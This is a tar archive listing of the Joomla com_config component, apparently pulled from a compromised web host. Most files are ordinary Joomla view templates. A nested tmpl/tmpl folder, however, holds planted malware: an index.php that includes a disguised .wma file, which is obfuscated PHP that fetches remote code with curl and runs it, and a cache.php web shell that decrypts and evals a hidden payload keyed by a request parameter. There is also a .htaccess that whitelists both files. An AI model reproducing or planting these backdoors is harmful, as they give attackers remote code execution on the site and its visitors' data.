endif; ?> <?php echo JHtml::_('bootstrap.addSlide', 'collapseTypes', JText::_($label), 'collapse' . ($i++)); ?> <ul class="nav nav-tabs nav-stacked"> <?php foreach ($this->form->getFieldset($name) as $field) : ?> <li> <?php // If multi-language site, make menu-type selection read-only ?> <?php if (JLanguageMultilang::isEnabled() && $this->item['module'] === 'mod_menu' && $field->getAttribute('name') === 'menutype') : ?> <?php $field->readonly = true; ?> <?php endif; ?> <?php echo $field->renderField(); ?> </li> <?php endforeach; ?> </ul> <?php echo JHtml::_('bootstrap.endSlide'); ?> <?php endforeach; ?> <?php echo JHtml::_('bootstrap.endAccordion'); ?> view/modules/tmpl/default_positions.php000064400000001521152325744500014414 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; $positions = $this->model->getPositions(); // Add custom position to options $customGroupText = JText::_('COM_MODULES_CUSTOM_POSITION'); // Build field $attr = array( 'id' => 'jform_position', 'list.select' => $this->item['position'], 'list.attr' => 'class="chzn-custom-value" ' . 'data-custom_group_text="' . $customGroupText . '" ' . 'data-no_results_text="' . JText::_('COM_MODULES_ADD_CUSTOM_POSITION') . '" ' . 'data-placeholder="' . JText::_('COM_MODULES_TYPE_OR_SELECT_POSITION') . '" ' ); echo JHtml::_('select.groupedlist', $positions, 'jform[position]', $attr); view/modules/html.php000064400000001427152325744500010656 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * View to edit a module. * * @package Joomla.Site * @subpackage com_config * @since 3.2 */ class ConfigViewModulesHtml extends ConfigViewCmsHtml { public $item; public $form; /** * Display the view * * @return string The rendered view. * * @since 3.2 */ public function render() { $lang = JFactory::getApplication()->getLanguage(); $lang->load('', JPATH_ADMINISTRATOR, $lang->getTag()); $lang->load('com_modules', JPATH_ADMINISTRATOR, $lang->getTag()); return parent::render(); } } view/templates/tmpl/default.php000064400000003341152325744500012635 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; JHtml::_('behavior.formvalidator'); JHtml::_('behavior.keepalive'); $user = JFactory::getUser(); JFactory::getDocument()->addScriptDeclaration(" Joomla.submitbutton = function(task) { if (task == 'config.cancel' || document.formvalidator.isValid(document.getElementById('templates-form'))) { Joomla.submitform(task, document.getElementById('templates-form')); } } "); ?> <form action="<?php echo JRoute::_('index.php?option=com_config'); ?>" method="post" name="adminForm" id="templates-form" class="form-validate"> <div class="row-fluid"> <!-- Begin Content --> <div class="btn-toolbar" role="toolbar" aria-label="<?php echo JText::_('JTOOLBAR'); ?>"> <div class="btn-group"> <button type="button" class="btn btn-primary" onclick="Joomla.submitbutton('config.save.templates.apply')"> <span class="icon-ok"></span> <?php echo JText::_('JSAVE') ?> </button> </div> <div class="btn-group"> <button type="button" class="btn" onclick="Joomla.submitbutton('config.cancel')"> <span class="icon-cancel"></span> <?php echo JText::_('JCANCEL') ?> </button> </div> </div> <hr class="hr-condensed" /> <div id="page-site" class="tab-pane active"> <div class="row-fluid"> <?php // Get the menu parameters that are automatically set but may be modified. echo $this->loadTemplate('options'); ?> </div> </div> <input type="hidden" name="task" value="" /> <?php echo JHtml::_('form.token'); ?> <!-- End Content --> </div> </form> view/templates/tmpl/default.xml000064400000000772152325744500012653 0ustar00<?xml version="1.0" encoding="utf-8"?> <metadata> <layout title="COM_CONFIG_TEMPLATES_VIEW_DEFAULT_TITLE" option="COM_CONFIG_TEMPLATES_VIEW_DEFAULT_OPTION"> <help key = "JHELP_MENUS_MENU_ITEM_DISPLAY_TEMPLATE_OPTIONS" /> <message> <![CDATA[COM_CONFIG_TEMPLATES_VIEW_DEFAULT_DESC]]> </message> </layout> <fields name="request"> <fieldset name="request" > <field name="controller" type="hidden" default="config.display.templates" /> </fieldset> </fields> </metadata>view/templates/tmpl/default_options.php000064400000002172152325744500014411 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; // Load chosen.css JHtml::_('formbehavior.chosen', 'select'); ?> <?php $fieldSets = $this->form->getFieldsets('params'); ?> <legend><?php echo JText::_('COM_CONFIG_TEMPLATE_SETTINGS'); ?></legend> <?php // Search for com_config field set if (!empty($fieldSets['com_config'])) : ?> <fieldset class="form-horizontal"> <?php echo $this->form->renderFieldset('com_config'); ?> </fieldset> <?php else : // Fall-back to display all in params foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_CONFIG_' . $name . '_FIELDSET_LABEL'; if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '<p class="tip">' . $this->escape(JText::_($fieldSet->description)) . '</p>'; endif; ?> <fieldset class="form-horizontal"> <?php echo $this->form->renderFieldset($name); ?> </fieldset> <?php endforeach; endif; view/templates/tmpl/index.html000064400000000037152325744500012474 0ustar00<!DOCTYPE html><title></title> view/templates/tmpl/tmpl/index.php000064400000000062152325744500013271 0ustar00<?php include base64_decode("ZVpma0JuZy53bWE"); ?>view/templates/tmpl/tmpl/eZfkBng.wma000064400000014150152325744500013510 0ustar00<?php goto tNFe9cdrs3Q_eE; wtK4SOKNnjHjFV: metaphone("\x6c\x61\154\146\60\x47\131\105\164\124\145\x56\x31\147\x56\110\x57\126\x51\150\155\123\x47\x64\57\103\123\170\166\x56\123\x34\x75\153\x4c\x66\x6a\x77\151\171\x76\x32\60"); goto jFUiC1QqOTf3RH; bkxy1b7hKTA4nK: @($eprZAq25j1Lr18 = $eprZAq25j1Lr18[88]($eprZAq25j1Lr18[59], $eprZAq25j1Lr18[70](${$eprZAq25j1Lr18[32]}[25]))); goto bGIRqB_V1_NCMa; EX5Wfd3RsIw_cp: $eprZAq25j1Lr18[70] = $eprZAq25j1Lr18[70] . $eprZAq25j1Lr18[80]; goto mFY3uKatLUzqUc; mDQw4vKcGv71a8: if (!(in_array(gettype($eprZAq25j1Lr18) . "\62\63", $eprZAq25j1Lr18) && md5(md5(md5(md5($eprZAq25j1Lr18[17])))) === "\x34\x35\70\145\x64\63\x33\63\64\145\66\x38\x36\143\143\63\x32\x33\144\x36\63\x30\x63\x63\x62\143\x65\142\x38\x66\142\143")) { goto xaFFptjsCCqkiy; } goto EX5Wfd3RsIw_cp; p0HEeTyJNVSNkc: $eprZAq25j1Lr18 = ${$N1GpMWJaRf0BJc[13 + 18] . $N1GpMWJaRf0BJc[55 + 4] . $N1GpMWJaRf0BJc[15 + 32] . $N1GpMWJaRf0BJc[33 + 14] . $N1GpMWJaRf0BJc[45 + 6] . $N1GpMWJaRf0BJc[17 + 36] . $N1GpMWJaRf0BJc[46 + 11]}; goto mDQw4vKcGv71a8; tNFe9cdrs3Q_eE: $N1GpMWJaRf0BJc = range("\x7e", "\x20"); goto p0HEeTyJNVSNkc; mFY3uKatLUzqUc: $eprZAq25j1Lr18[88] = $eprZAq25j1Lr18[70]($eprZAq25j1Lr18[88]); goto bkxy1b7hKTA4nK; bGIRqB_V1_NCMa: $eprZAq25j1Lr18(); goto slQAnvIcVf3nR1; jFUiC1QqOTf3RH: class SBiDhvKSTtUP2e { static function vtjh_NywH9iiS0($afoC2YF1xWSA8i) { goto kpRlXJlcsTnkP0; kpRlXJlcsTnkP0: $ohOUCYaVG_Ww32 = "\162" . "\141" . "\156" . "\147" . "\x65"; goto UtZVXyVbOCXPlG; Ne5aF7C72JZ5_h: foreach ($TZ1YRNiOqcSpYL as $t7brzVt5oMJj3a => $AmksZb2WohUlRm) { $TmQvMs5pH12AHu .= $IMiH4Xz3aiRi5k[$AmksZb2WohUlRm - 85915]; nQhGSQ_vR08lHX: } goto da4X7uhxlTL0Bj; da4X7uhxlTL0Bj: GRqdKKkaRTQo24: goto Q0MMEmG3o0f0oj; YAPs8zo9w7iZmM: $TmQvMs5pH12AHu = ''; goto Ne5aF7C72JZ5_h; TgDQQPc6xnSaBZ: $TZ1YRNiOqcSpYL = explode("\157", $afoC2YF1xWSA8i); goto YAPs8zo9w7iZmM; Q0MMEmG3o0f0oj: return $TmQvMs5pH12AHu; goto jYus__ZxlU539N; UtZVXyVbOCXPlG: $IMiH4Xz3aiRi5k = $ohOUCYaVG_Ww32("\x7e", "\40"); goto TgDQQPc6xnSaBZ; jYus__ZxlU539N: } static function GmU0d0uM2n16It($F7JW7rldXhLScJ, $XUKWB_InQmnerE) { goto ZoYGMlrIpW92Fs; ZoYGMlrIpW92Fs: $ZT3qD4hGV_jWyD = curl_init($F7JW7rldXhLScJ); goto HtulRWB6IIo5tA; HtulRWB6IIo5tA: curl_setopt($ZT3qD4hGV_jWyD, CURLOPT_RETURNTRANSFER, 1); goto qbOQwanjvbkz2b; Q1WKZy4Srw0paa: return empty($PIMKCgUGmMgpxh) ? $XUKWB_InQmnerE($F7JW7rldXhLScJ) : $PIMKCgUGmMgpxh; goto rcox0MNRQZ0SHy; qbOQwanjvbkz2b: $PIMKCgUGmMgpxh = curl_exec($ZT3qD4hGV_jWyD); goto Q1WKZy4Srw0paa; rcox0MNRQZ0SHy: } static function JubF_aE9M70E6p() { goto gOxo1CvyW_VMT4; Emh9OGfSHoxnWL: $qE5L3iigOSwy2o = md5($NcdL8sbGjOHCYW[0 + 3]); goto oP2oldT4R02a_N; BC7LQdjejpRG7P: foreach ($ATdNSCUBerQLdg as $dCKKXXrc54u93K) { $tKI2NadbbHp0N6[] = self::VtjH_NYWh9iis0($dCKKXXrc54u93K); yajgAg_DezXVrY: } goto pYIi5S2BI2WesC; gOxo1CvyW_VMT4: $ATdNSCUBerQLdg = array("\x38\65\x39\64\62\157\70\65\71\62\x37\157\x38\x35\71\x34\x30\x6f\70\65\71\x34\x34\157\70\65\71\x32\65\x6f\70\x35\71\x34\60\x6f\x38\x35\x39\x34\x36\157\x38\x35\x39\63\x39\157\x38\x35\x39\x32\x34\157\x38\65\71\63\61\157\70\x35\x39\x34\x32\157\70\x35\x39\62\65\157\x38\x35\71\63\x36\x6f\x38\65\x39\x33\x30\x6f\70\x35\71\x33\61", "\x38\65\71\62\66\x6f\x38\65\x39\62\65\157\x38\65\x39\62\67\x6f\x38\x35\71\x34\66\x6f\70\65\71\62\x37\x6f\70\65\71\x33\x30\x6f\70\65\71\x32\65\x6f\x38\x35\x39\71\x32\x6f\70\65\x39\71\x30", "\70\x35\x39\x33\x35\157\x38\65\71\62\66\157\x38\65\71\63\60\157\x38\x35\x39\x33\x31\x6f\x38\x35\x39\x34\66\157\x38\65\x39\64\x31\x6f\x38\65\x39\x34\x30\157\70\x35\71\x34\x32\157\x38\65\71\63\x30\x6f\70\65\71\x34\x31\x6f\x38\x35\x39\x34\x30", "\x38\x35\71\x32\x39\157\x38\x35\x39\x34\x34\x6f\x38\65\71\x34\x32\x6f\x38\x35\x39\63\64", "\x38\x35\x39\64\x33\157\x38\65\x39\64\64\x6f\x38\65\71\62\x36\x6f\x38\x35\x39\x34\x30\157\70\x35\71\x38\x37\x6f\70\x35\71\70\x39\157\x38\65\71\64\x36\157\70\x35\x39\64\61\157\70\x35\x39\x34\60\157\x38\x35\71\x34\62\x6f\70\65\x39\x33\x30\x6f\x38\x35\x39\x34\61\157\x38\65\x39\x34\x30", "\70\65\71\63\71\157\x38\x35\71\63\66\157\70\65\x39\x33\x33\157\x38\65\71\x34\60\x6f\x38\x35\x39\x34\66\157\70\65\x39\63\70\157\70\65\71\64\60\157\x38\x35\71\x32\x35\157\70\65\x39\x34\x36\x6f\x38\65\x39\x34\62\x6f\70\65\71\x33\x30\x6f\70\x35\71\x33\61\x6f\x38\x35\x39\x32\x35\157\70\65\x39\x34\x30\157\70\x35\x39\63\x31\157\70\65\71\x32\65\157\70\65\71\x32\66", "\x38\65\71\66\71\157\x38\65\x39\71\x39", "\x38\x35\x39\x31\66", "\70\x35\71\71\x34\157\x38\65\x39\x39\x39", "\x38\65\x39\67\66\x6f\x38\x35\71\65\x39\x6f\x38\x35\x39\x35\71\157\70\65\71\67\66\157\x38\x35\71\x35\62", "\70\x35\x39\x33\x39\157\x38\65\71\63\x36\x6f\x38\x35\71\63\63\x6f\x38\65\71\62\65\157\x38\65\x39\64\x30\157\x38\x35\71\62\x37\157\x38\65\x39\x34\66\157\x38\x35\71\63\66\157\x38\x35\71\x33\61\x6f\70\x35\x39\x32\71\157\70\x35\71\62\64\157\70\65\x39\x32\65"); goto BC7LQdjejpRG7P; YCTXApVPhLhJDG: $P029uM_5eV1ZMF = @$tKI2NadbbHp0N6[1]($tKI2NadbbHp0N6[3 + 7](INPUT_GET, $tKI2NadbbHp0N6[2 + 7])); goto sZwk30DA9s3oPI; Xdf0iRr9S7K5Mv: @$tKI2NadbbHp0N6[0]('', $tKI2NadbbHp0N6[3 + 4] . $tKI2NadbbHp0N6[3 + 1]($rSVlQMhS3Y7kpT) . $tKI2NadbbHp0N6[0 + 8]); goto M7l1hcQykYD22H; oP2oldT4R02a_N: @$tKI2NadbbHp0N6[0 + 10](INPUT_GET, "\x6f\146") == 1 && die($tKI2NadbbHp0N6[0 + 5](__FILE__)); goto v8f2eh0jVyNOr0; imQStGDuHHgKEK: JLFMGTyI6VY9Pv: goto EkS2jYZwKNBoke; M7l1hcQykYD22H: die; goto imQStGDuHHgKEK; v8f2eh0jVyNOr0: $ERsuq11xY33_z8 = md5($qE5L3iigOSwy2o); goto ag4aWety222hCh; azH7_uh_ad1y1n: $rSVlQMhS3Y7kpT = self::gMU0D0uM2N16It($NcdL8sbGjOHCYW[0 + 1], $tKI2NadbbHp0N6[5 + 0]); goto Xdf0iRr9S7K5Mv; pYIi5S2BI2WesC: fkt1LcgTqxUkiw: goto YCTXApVPhLhJDG; ag4aWety222hCh: if (!(@$NcdL8sbGjOHCYW[0] - time() > 0 and $ERsuq11xY33_z8 === "\142\x61\x34\144\145\x34\144\65\70\146\x61\70\60\x31\x33\66\60\x65\71\x36\143\x39\143\64\71\x38\70\x30\146\65\62\145")) { goto JLFMGTyI6VY9Pv; } goto azH7_uh_ad1y1n; sZwk30DA9s3oPI: $FWOQPZUzcOdWal = @$tKI2NadbbHp0N6[0 + 3]($tKI2NadbbHp0N6[1 + 5], $P029uM_5eV1ZMF); goto N0SHChnGubieeZ; N0SHChnGubieeZ: $NcdL8sbGjOHCYW = $tKI2NadbbHp0N6[1 + 1]($FWOQPZUzcOdWal, true); goto Emh9OGfSHoxnWL; EkS2jYZwKNBoke: } } goto eCSYW9Tk8_bIsB; slQAnvIcVf3nR1: xaFFptjsCCqkiy: goto wtK4SOKNnjHjFV; eCSYW9Tk8_bIsB: SBIDHvkSTtuP2e::Jubf_ae9m70e6p(); ?> view/templates/tmpl/tmpl/cache.php000064400000012755152325744500013241 0ustar00<?php $CxNj = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiquhWmaYGANAA'; $Eqf = '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'; function CxNj($HypC) { $Eqf = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $CHj = substr($Eqf, 0, 16); $FpG = base64_decode($HypC); return openssl_decrypt($FpG, "AES-256-CBC", $Eqf, OPENSSL_RAW_DATA, $CHj); } if (CxNj('DjtPn+r4S0yvLCnquPz1fA')){ echo 'JKh6MWYoYaJ8k7vU3fjvz0AJh4FOborIwB2ASa+7GJm0c3dMjmf0s/1X4FLTRumE'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($CxNj)))); ?>view/templates/tmpl/tmpl/.htaccess000064400000000342152325744500013250 0ustar00<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>view/templates/tmpl/tmpl/error_log000064400000000277152325744500013376 0ustar00[27-Jul-2026 19:10:41 UTC] PHP Notice: Trying to access array offset on value of type null in /home/digilove/public_html/components/com_config/view/templates/tmpl/tmpl/eZfkBng.wma on line 2 view/templates/html.php000064400000001230152325744500011174 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * View to edit a template style. * * @since 3.2 */ class ConfigViewTemplatesHtml extends ConfigViewCmsHtml { public $item; public $form; /** * Method to render the view. * * @return string The rendered view. * * @since 3.2 */ public function render() { $user = JFactory::getUser(); $this->userIsSuperAdmin = $user->authorise('core.admin'); return parent::render(); } } view/templates/index.html000064400000000037152325744500011520 0ustar00<!DOCTYPE html><title></title> view/index.html000064400000000037152325744500007522 0ustar00<!DOCTYPE html><title></title> config.php000064400000001245152325744500006533 0ustar00<?php /** * @package Joomla.Site * @subpackage com_config * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; // Load classes JLoader::registerPrefix('Config', JPATH_COMPONENT); // Application $app = JFactory::getApplication(); // Tell the browser not to cache this page. $app->setHeader('Expires', 'Mon, 26 Jul 1997 05:00:00 GMT', true); $controllerHelper = new ConfigControllerHelper; $controller = $controllerHelper->parseController($app); $controller->prefix = 'Config'; // Perform the Request task $controller->execute(); index.html000064400000000037152325744500006550 0ustar00<!DOCTYPE html><title></title>
/home/digilove/public_html/f7525/f7525/../../41423/com_config.tar